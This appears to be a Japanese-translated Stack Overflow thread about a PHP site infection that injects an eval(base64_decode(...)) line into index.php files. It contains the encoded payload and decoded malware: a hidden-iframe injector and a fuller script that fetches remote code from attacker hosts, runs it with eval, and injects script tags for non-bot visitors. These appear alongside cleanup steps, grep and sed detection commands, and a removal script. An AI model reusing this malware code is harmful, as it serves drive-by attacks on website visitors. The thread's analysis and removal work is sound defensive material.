38

私のサイト (非常に大規模なコミュニティ Web サイト) が最近ウイルスに感染しました。すべてindex.phpのファイルが変更され、これらのファイルの開始 php タグが次の行に変更されました。

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

これをデコードすると、次の PHP コードが生成されました。

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}

バックアップから復元してもウイルスを駆除するためにいくつかのことを試みましたが、ファイルは数分または数時間後に再感染します。それで、私を助けてもらえますか?

このウイルスについて何を知っていますか?

インストールと伝播に使用する既知のセキュリティ ホールはありますか?

上記のphpコードは実際に何をしますか?

iframe に埋め込まれたページは何をしますか?

そしてもちろんもっと重要なことは、それを取り除くために何ができるでしょうか?

助けてください、私たちはアイデアと希望をほとんど使い果たしました:(

UPDATE1 いくつかの詳細: 奇妙なこと: 感染したファイルを最初にチェックしたとき。それらは変更されましたが、ftp プログラムで変更された時間は、場合によっては数日、数か月、または数年前であると最終アクセスを示していました! これはどのように可能ですか?それは私を夢中にさせます!

更新 2 ユーザーが自分の WordPress インストールにプラグインをインストールした後に問題が発生したと思います。バックアップから復元し、Wordpress フォルダーと関連するデータベースを完全に削除すると、問題は解決したようです。現在、セキュリティ サービスに加入しており、ハッキングが完全になくなったことを確認するためだけに問題を調査しています。返信してくれた人に感謝します。

4

8 に答える 8

50

サイトを復旧および駆除する手順 (既知の適切なバックアップがある場合)。

1) サイトをシャットダウンする

修復作業を行う前に、基本的にサイトへの扉を閉じる必要があります。これにより、訪問者が悪意のあるコードを取得したり、エラー メッセージが表示されたりするのを防ぐことができます。

これを行うには、webroot の.htaccessファイルに以下を追加します。(「!!Your IP Address Here!!」を自分の IP アドレスに置き換えます。IP アドレスがわからない場合は、http://icanhazip.comを参照してください。)

order deny,allow
deny from all
allow from !!Your IP Address Here!!

2) サーバーからすべてのファイルのコピーをダウンロードする

適切なバックアップとは別のフォルダーにすべてをダウンロードします。これには時間がかかる場合があります (サイトのサイズ、接続速度などによって異なります)。

3) ファイル/フォルダー比較ユーティリティをダウンロードしてインストールする

Windows マシンでは、WinMerge ( http://winmerge.org/ ) を使用できます。これは無料で非常に強力です。MacOS マシンでは、Alternative.toから可能な代替のリストを確認してください。

4) ファイル/フォルダー比較ユーティリティを実行する

いくつかの異なる結果が得られるはずです。

  • ファイルが同一 - 現在のファイルはバックアップと同じであるため、影響を受けません。
  • 左側/右側のみのファイル - そのファイルはバックアップにのみ存在するか (サーバーから削除された可能性があります)、サーバーにのみ存在します (ハッカーによって注入/作成された可能性があります)。
  • ファイルが異なります - サーバー上のファイルはバックアップ内のファイルと同じではないため、ユーザー (サーバー用に構成するため) またはハッカー (コードを挿入するため) によって変更された可能性があります。

5) 違いを解決する

(別名「どうしてみんな仲良くできないの?」)

同一のファイルの場合、これ以上のアクションは必要ありません。片側のみに存在するファイルについては、ファイルを見て、それらが正当なものであるかどうかを判断します (つまり、そこにあるはずのユーザー アップロード、追加した可能性のある追加ファイルなど)。異なるファイルについては、ファイルを見てください ( File Difference Utility は、追加/変更/削除された行を表示し、サーバーのバージョンが有効かどうかを確認することもできます。悪意のあるコードを含むファイルを (バックアップ バージョンで) 上書きします。

6) セキュリティ上の注意事項を確認する

これが FTP/cPanel パスワードの変更、または外部/制御されていないリソースの使用の見直しのような単純なものであるかどうか (あなたが言及したように、多くの fgets、fopens などを実行しています。それらに渡されるパラメーターを確認することができます。悪意のあるコードをスクリプトに取り込ませる方法です) など。

7) サイトワークの確認

感染したファイルが修正され、悪意のあるファイルが削除された後、すべてが期待どおりに動作していることを確認するために、サイトを見ている唯一の人物になる機会を利用してください。

8) ドアを開けて

ステップ 1 で.htaccessファイルに加えた変更を元に戻します。注意して見てください。訪問者とエラー ログを監視して、誰かが削除された悪意のあるファイルなどをトリガーしようとしていないかどうかを確認してください。

9) 自動検出方法を検討する

いくつかの解決策があり、ホストで (CRON ジョブを使用して) 自動チェックを実行し、発生した変更を検出して詳しく説明することができます。少し冗長なものもあります (ファイルが変更されるたびに電子メールが送信されます) が、ニーズに合わせて変更できるはずです。

10) スケジュールされたバックアップを取り、適切なブラケットを保持する

ウェブサイトでスケジュールされたバックアップが実行されていることを確認し、それらのいくつかを保持して、必要に応じて時間をさかのぼることができるさまざまな手順を実行できるようにします. たとえば、毎週のバックアップを実行した場合は、次のものを保持する必要があります。

  • 週4回のバックアップ
  • 4 x 月次バックアップ (月次バックアップとして、週次バックアップの 1 つ、おそらく月の最初の週を保持します)

コード インジェクション攻撃よりも少し破壊的な方法でサイトを攻撃する人がいる場合、これらは常に作業を楽にしてくれます。

ああ、データベースも必ずバックアップしてください - 多くのサイトが CMS に基づいているため、ファイルがあるのは良いことですが、その背後にあるデータベースを紛失/破損した場合、バックアップは基本的に役に立ちません。

于 2011-05-10T07:42:16.317 に答える
3

I suffered from the same hack job. I was able to decrypt the code as well, and while I got different php code, I started by removing the injected php text by looping through each php file in the site and removing the eval call. I am still investigating how I got it to begin with but here is what mine looked like after decrypting from this website:

To decode the encrypted php script on each php file use this: http://www.opinionatedgeek.com/dotnet/tools/base64decode/

And formatting the result using this guy: http://beta.phpformatter.com/

To clean you need to remove the "eval" line from the top of each php file, and delete the .log folders from the base folder of the website.

I found a python script which I modified slightly to remove the trojan in php files so I will post it here for others to use: code source from thread: replace ALL instances of a character with another one in all files hierarchically in directory tree

import os
import re
import sys

def try_to_replace(fname):
    if replace_extensions: 
        return fname.lower().endswith(".php")
    return True


def file_replace(fname, pat, s_after):
    # first, see if the pattern is even in the file.
    with open(fname) as f:
        if not any(re.search(pat, line) for line in f):
            return # pattern does not occur in file so we are done.

    # pattern is in the file, so perform replace operation.
    with open(fname) as f:
        out_fname = fname + ".tmp"
        out = open(out_fname, "w")
        for line in f:
            out.write(re.sub(pat, s_after, line))
        out.close()
        os.rename(out_fname, fname)


def mass_replace(dir_name, s_before, s_after):
    pat = re.compile(s_before)
    for dirpath, dirnames, filenames in os.walk(dir_name):
        for fname in filenames:
            if try_to_replace(fname):
                print "cleaning: " + fname
                fullname = os.path.join(dirpath, fname)
                file_replace(fullname, pat, s_after)

if len(sys.argv) != 2:
    u = "Usage: rescue.py <dir_name>\n"
    sys.stderr.write(u)
    sys.exit(1)

mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")

to use type

python rescue.py rootfolder

This is what the malicious script was trying to do:

<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;

            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f   = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $f    = @fsockopen($host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $ip1  = @gethostbyname($host);
            $ip2  = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (!@socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val     = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir           = $_SERVER['s_p1'];
            $tdsfile       = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c   = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (!@is_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (!@is_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua  = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1']     = $mz;
            $_SERVER['s_b1']     = $bot;
            $_SERVER['s_t1']     = 1200;
            $_SERVER['s_d1']     = base64_decode('http://ens122zzzddazz.com/');
            $d                   = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1']     = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
            $_SERVER['s_a2']     = base64_decode('http://nlinthewood.com/g_load.php') . $d;
            $_SERVER['s_script'] = "nl.php?p=d";
        }
        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t     = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v     = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }
        ob_start('mrobh');
    }
}

?> 
于 2012-10-12T04:57:42.220 に答える
2

これらの悪意のある PHP を取り除くには、それらを削除するだけです。ファイルが感染している場合は、疑わしいと思われる部分だけを削除する必要があります。

通常、Web ルート全体に複数のファイルが存在するため、これらのファイルを見つけるのは常に困難です。

通常、なんらかの難読化が見られる場合は、危険信号です。

ほとんどのマルウェアは、使用する一般的な機能に基づいて簡単に見つけることができます。これには次のものが含まれます。

  • base64_decode
  • lzw_decompress
  • eval
  • 等々

エンコード形式を使用することで、サイズがコンパクトになり、経験の浅いユーザーがデコードするのが難しくなります。

以下はgrep、最も一般的なマルウェア PHP コードを見つける可能性のあるコマンドの一部です。

grep -R return.*base64_decode  .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

これらのコマンドは、サーバー上で実行するか、Web サイトをローカル マシンに同期した後 (FTP などを介してncftpget -R) 実行できます。

または、そのような悪意のあるファイルを検出するために特別に設計されたスキャン ツールを使用します。PHP セキュリティ スキャナーを参照してください。

教育目的で、kenorb/php-exploit-scripts GitHubで入手可能なハッキングされたサーバーを調査するときに見つかった、次の PHP エクスプロイト スクリプトのコレクションを見つけてください ( @Mattias のオリジナル コレクションの影響を受けています)。これにより、これらの PHP の疑わしいファイルがどのように見えるかを理解できるため、サーバー上でそれらをさらに見つける方法を学ぶことができます。

以下も参照してください。

于 2016-05-27T15:03:30.647 に答える
1

私の Web サイトまたは私がホストしている Web サイトが、同様の攻撃に数回見舞われました。

問題を解決するために私が行ったことを紹介します。私はそれが最善/最も簡単なアプローチであるとは思いませんが、うまくいき、それ以来積極的にボールをフィールドにキープすることができます.

  1. 問題をできるだけ早く解決する 非常に単純な PHP スクリプトを作成しました (鉄が熱くなったときに作成されたものなので、最適化されたコードではないかもしれませんが、問題はかなり迅速に解決されます): http://www.ecommy.com/web-security /clean-php-files-from-eval-infection

  2. このようなことが再び起こったときに必ず知っておいてください。ハッカーは、インストールした外部モジュールの 1 つの SQL インジェクションからのあらゆる種類のアプローチを使用して、辞書攻撃または 1qaz... qwerty.... などの非常によく知られたパスワード パターンで管理パネルをブルート フォースします。ここ: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. cron エントリは次のようになります: 0 2 * * 5 /root/scripts/base64eval_scan > /dev/null 2>&1&

誰かがファイルを直接ダウンロードできるようにページを更新しました。それが私のためであるように、彼があなたに役立つことを願っています:)

于 2013-08-26T15:26:40.017 に答える
0
  1. Wordpress や vBulletin などの一般的な Web アプリケーションが更新されていることを確認します。サーバーが危険にさらされる可能性がある古いバージョンには多くのエクスプロイトがあり、それらが更新されていない場合はおそらく再び発生します. これが完了するまで、続行しても意味がありません。

  2. ファイルが置き換えられ続ける場合は、ルートキットまたはトロイの木馬がバックグラウンドで実行されています。そのファイルはそれ自体を複製できません。最初にルートキットを取り除く必要があります。rkhunterchkrootkit、およびLMDを試してください。の出力をセキュリティで保護されたサーバーと比較し、疑わしいファイルps auxをチェック/var/tmpします。/tmpOS の再インストールが必要になる場合があります。

  3. サーバーを管理するすべてのワークステーションが最新でクリーンであることを確認してください。安全でないワイヤレス接続を介して接続したり、FTP のようなプレーン テキスト認証を使用したりしないでください (代わりに SFTP を使用してください)。https でのみコントロール パネルにログインします。

  4. これが再び起こらないようにするには、 csfまたは同等のファイアウォールを実行し、毎日のLMDスキャンを実行し、サーバー上のすべてのアプリケーションに最新のセキュリティ パッチを適用して最新の状態に保ちます。

于 2012-01-30T04:43:10.350 に答える
-1

これが Linux ベースのサーバーであり、SSH アクセスがあると仮定すると、これを実行して問題のあるコードを削除できます。

find . -name "*.php" | xargs sed -i 's@eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@'

これは、既知のすべての base64 実装をカバーし、base64 テキストが一重引用符または二重引用符で囲まれているかどうかに関係なく機能します。

編集:内部空白でも動作するようになりました

于 2013-10-03T18:03:06.523 に答える